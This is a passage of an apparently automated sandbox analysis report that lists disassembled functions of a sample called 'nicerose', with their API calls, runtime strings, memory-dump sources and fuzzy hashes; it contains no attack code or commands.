                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ECE5
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ECF7
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED09
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED1B
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED2D
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED3F
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED51
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ED63
                                                                                    • _free.LIBCMT ref: 02C5FA8D
                                                                                    • _free.LIBCMT ref: 02C5FAA2
                                                                                    • _free.LIBCMT ref: 02C5FAAD
                                                                                    • _free.LIBCMT ref: 02C5FACF
                                                                                    • _free.LIBCMT ref: 02C5FAE2
                                                                                    • _free.LIBCMT ref: 02C5FAF0
                                                                                    • _free.LIBCMT ref: 02C5FAFB
                                                                                    • _free.LIBCMT ref: 02C5FB33
                                                                                    • _free.LIBCMT ref: 02C5FB3A
                                                                                    • _free.LIBCMT ref: 02C5FB57
                                                                                    • _free.LIBCMT ref: 02C5FB6F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$___free_lconv_mon
                                                                                    • String ID: xF
                                                                                    • API String ID: 3658870901-2169143296
                                                                                    • Opcode ID: b166b7e86ef1a7ddfa2e36ec319a6e916c21ca5d81851e2e5517d42b5c42f7b7
                                                                                    • Instruction ID: 2053b2a8d68af0c711701b6c5b016e9db433720fba3621037eeaddb4a487a4c6
                                                                                    • Opcode Fuzzy Hash: b166b7e86ef1a7ddfa2e36ec319a6e916c21ca5d81851e2e5517d42b5c42f7b7
                                                                                    • Instruction Fuzzy Hash: E0317C316406249FEB25AA39DD44B5BB7EAEF42350F54442DEC48D7560DB30EAC0DB19
                                                                                    Function 02BC6E60 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(ole32.dll), ref: 02BC6E66
                                                                                    • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02BC6E77
                                                                                    • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02BC6E87
                                                                                    • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02BC6E97
                                                                                    • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02BC6EA7
                                                                                    • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02BC6EB7
                                                                                    • GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02BC6EC7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleModule
                                                                                    • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                    • API String ID: 667068680-2233174745
                                                                                    • Opcode ID: 8c87eb0079b811e8a3889943feb7123abcde8dc656135b7d136f8c9dd5c9da25
                                                                                    • Instruction ID: cd6beff5902f33f6c3348758d9e1367a2dfa0d2a8cc7f62170d0b9c514640be3
                                                                                    • Opcode Fuzzy Hash: 8c87eb0079b811e8a3889943feb7123abcde8dc656135b7d136f8c9dd5c9da25
                                                                                    • Instruction Fuzzy Hash: 95F04CE2E8A3136EB7017F709C91CF7275D9F5064432169EE7553AA912EAF48C104B54
                                                                                    Function 02C5DB99 Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$___from_strstr_to_strchr_wcschr
                                                                                    • String ID:
                                                                                    • API String ID: 1963305004-0
                                                                                    • Opcode ID: 7152c14c9f043405eb9b9a37d5c5f1e16380f97c3d25ee63cda43d2d9904c190
                                                                                    • Instruction ID: bf70cd1aa1e50ccfa6b566c29ea6176a40670f224f310eaeab464bc90a1811fe
                                                                                    • Opcode Fuzzy Hash: 7152c14c9f043405eb9b9a37d5c5f1e16380f97c3d25ee63cda43d2d9904c190
                                                                                    • Instruction Fuzzy Hash: 80D13771900770AFDB24AF649C8066F7BA5AF45354F0441BEED8797280EBB1EAC0CB59
                                                                                    Function 02C547F4 Relevance: 21.3, APIs: 14, Instructions: 296COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 2f053ac60eb79ec191c053a7fddcedd63e35585dd27580e6f5fea4236b9889f4
                                                                                    • Instruction ID: 0e7fe65ef478d1fd22304446b09edf44093aa4243c5226ab85b45d9a3415fa28
                                                                                    • Opcode Fuzzy Hash: 2f053ac60eb79ec191c053a7fddcedd63e35585dd27580e6f5fea4236b9889f4
                                                                                    • Instruction Fuzzy Hash: 80B1CC709006259EDF289F68C880BEEBBF9FF48304F144069ED99A7241D775D9C1EB28
                                                                                    Function 02BB2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02BB28CE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message
                                                                                    • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                    • API String ID: 2030045667-32948583
                                                                                    • Opcode ID: 29d311e58262d5d5381c566b3a13fe60a10db2268a9af193a48a87bccf0d2eff
                                                                                    • Instruction ID: 33323cc5ed844d25ef7a7cafe5edda0d972c84cb610f929942ba1f8bbe281bc3
                                                                                    • Opcode Fuzzy Hash: 29d311e58262d5d5381c566b3a13fe60a10db2268a9af193a48a87bccf0d2eff
                                                                                    • Instruction Fuzzy Hash: F7A1B030A042588BDF23AA2CCC84BF9B6E5EF09350F1441E5ED49AB286CBB599C5CF51
                                                                                    Function 02C56BBD Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 93d31162751b94c5375648fc1d7c6d5428524314512021667e8ac2086323d142
                                                                                    • Instruction ID: 4229fc54cd9267882525232cce3ea8447e672ecb13d3d192953d41780f2fcc0f
                                                                                    • Opcode Fuzzy Hash: 93d31162751b94c5375648fc1d7c6d5428524314512021667e8ac2086323d142
                                                                                    • Instruction Fuzzy Hash: C0117476550158BFCB11EF94CD41CDA3FAAEF04390B9581A5FE088F225DA31DA90AF84
                                                                                    Function 02C1CDFD Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 296COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _wcslen
                                                                                    • String ID: $.F$6$t<F$!G$!G
                                                                                    • API String ID: 176396367-201192458
                                                                                    • Opcode ID: 7ee9b6793bad505f52b25d90490fb0d5f8a9afeb768bac4d3d28c008bec071fb
                                                                                    • Instruction ID: c3a4c5b7d3b4bf37889a72d35fb8e9fede8279766608afbcd7876d7c39bc792f
                                                                                    • Opcode Fuzzy Hash: 7ee9b6793bad505f52b25d90490fb0d5f8a9afeb768bac4d3d28c008bec071fb
                                                                                    • Instruction Fuzzy Hash: CB9187712083806AD319FB30DC67EAF779AAF92704F50446EF086571D0EF249A49FE96
                                                                                    Function 02C5F191 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 204COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: xF
                                                                                    • API String ID: 269201875-2169143296
                                                                                    • Opcode ID: 0017408d32ff71f8327e26c25c7248eb33913fce7ae2350609d9814c511e4433
                                                                                    • Instruction ID: 21b4a6dfe7da21bf9829a4912d2c6cff9fe0147424e9245afe917599f7a0b389
                                                                                    • Opcode Fuzzy Hash: 0017408d32ff71f8327e26c25c7248eb33913fce7ae2350609d9814c511e4433
                                                                                    • Instruction Fuzzy Hash: DD61D375D00225AFEB24DF64CC41BAEBBF5AF46720F14016ADC48EB240E770DA819B94
                                                                                    Function 02BB252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    • , xrefs: 02BB2814
                                                                                    • The sizes of unexpected leaked medium and large blocks are: , xrefs: 02BB2849
                                                                                    • Unexpected Memory Leak, xrefs: 02BB28C0
                                                                                    • An unexpected memory leak has occurred. , xrefs: 02BB2690
                                                                                    • 7, xrefs: 02BB26A1
                                                                                    • bytes: , xrefs: 02BB275D
                                                                                    • The unexpected small block leaks are:, xrefs: 02BB2707
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                    • API String ID: 0-2723507874
                                                                                    • Opcode ID: c45fb375f6c513023ac685287ddaaf04941a0610f118bf09f75c9cb3a344e040
                                                                                    • Instruction ID: fbbfefe13501e25cd61e330f2403b88075f27f11b232dc9b389efcfdbab7b9ed
                                                                                    • Opcode Fuzzy Hash: c45fb375f6c513023ac685287ddaaf04941a0610f118bf09f75c9cb3a344e040
                                                                                    • Instruction Fuzzy Hash: B671C330A042988FEF23AA2CCC84BE9BAE5EF09744F5041E5D949DB281DBF55AC5CF51
                                                                                    Function 02C53C17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$_abort_memcmp
                                                                                    • String ID: C
                                                                                    • API String ID: 137591632-1037565863
                                                                                    • Opcode ID: 3cd607daeafeb172cd12d40b3ef98e411c3f82b6d125e495381489309ccb8190
                                                                                    • Instruction ID: 9d7231eb03320b5e96ddbd001193ea6d163a7c9c3c22d0131b4cedd036fc9c55
                                                                                    • Opcode Fuzzy Hash: 3cd607daeafeb172cd12d40b3ef98e411c3f82b6d125e495381489309ccb8190
                                                                                    • Instruction Fuzzy Hash: 9EB16775A016699BDB24DF18C888BAEB7B5FB48344F5042EAD809A7350E771AEC0CF44
                                                                                    Function 02BBBD48 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetThreadLocale.KERNEL32(00000000,02BBC013,?,?,00000000,00000000), ref: 02BBBD7E
                                                                                      • Part of subcall function 02BBA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02BBA76A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Locale$InfoThread
                                                                                    • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                    • API String ID: 4232894706-2493093252
                                                                                    • Opcode ID: 224eea1d3c71fc21a9892e9a358802abfffbb2fb265f51c06effe0d4606a4e58
                                                                                    • Instruction ID: 81b62f4f2865ec9259f9c86e6e1add88e83668a5a7a1e9e63cede76c4afd9710
                                                                                    • Opcode Fuzzy Hash: 224eea1d3c71fc21a9892e9a358802abfffbb2fb265f51c06effe0d4606a4e58
                                                                                    • Instruction Fuzzy Hash: 77615035B041489FDB02EBB4D8A07FEB7BBAF89300F5094F5A501AB746CAB5D9059B60
                                                                                    Function 02BCAE20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsBadReadPtr.KERNEL32(?,00000004), ref: 02BCAE40
                                                                                    • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02BCAE57
                                                                                    • IsBadReadPtr.KERNEL32(?,00000004), ref: 02BCAEEB
                                                                                    • IsBadReadPtr.KERNEL32(?,00000002), ref: 02BCAEF7
                                                                                    • IsBadReadPtr.KERNEL32(?,00000014), ref: 02BCAF0B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Read$HandleModule
                                                                                    • String ID: KernelBase$LoadLibraryExA
                                                                                    • API String ID: 2226866862-113032527
                                                                                    • Opcode ID: 184dac21309cb989d902de3bc8c076bdf9764f5af865c9a0c12203c49fdc0ce6
                                                                                    • Instruction ID: d327030cf9ce9fdd7cbe63d2a19f2bf8a000d6cfe5c569b76ee77e0e08451b0c
                                                                                    • Opcode Fuzzy Hash: 184dac21309cb989d902de3bc8c076bdf9764f5af865c9a0c12203c49fdc0ce6
                                                                                    • Instruction Fuzzy Hash: 173166F2A40309BBDB11DF68CC85FA977A8EF05324F244598FA55EB280D374E950CBA4
                                                                                    Function 02BB432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02BB43F3,?,?,02C107C8,?,?,02BDD7A8,02BB655D,02BDC30D), ref: 02BB4365
                                                                                    • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02BB43F3,?,?,02C107C8,?,?,02BDD7A8,02BB655D,02BDC30D), ref: 02BB436B
                                                                                    • GetStdHandle.KERNEL32(000000F5,02BB43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02BB43F3,?,?,02C107C8), ref: 02BB4380
                                                                                    • WriteFile.KERNEL32(00000000,000000F5,02BB43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02BB43F3,?,?), ref: 02BB4386
                                                                                    • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02BB43A4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileHandleWrite$Message
                                                                                    • String ID: Error$Runtime error at 00000000
                                                                                    • API String ID: 1570097196-2970929446
                                                                                    • Opcode ID: ce92c8ad3ec9f648015797fba11fb98ace8cccae2fa3d057648033b5ea31ab6c
                                                                                    • Instruction ID: 6a0ba74c0a9690b69cae9c80d08e7a9a2ad73a2898662d031449944a874e5325
                                                                                    • Opcode Fuzzy Hash: ce92c8ad3ec9f648015797fba11fb98ace8cccae2fa3d057648033b5ea31ab6c
                                                                                    • Instruction Fuzzy Hash: A9F0F0A1AD430078FA12A664ACA6FF9372CAF48F14F188ED4B334A40D697E050C4CB26
                                                                                    Function 02C52885 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
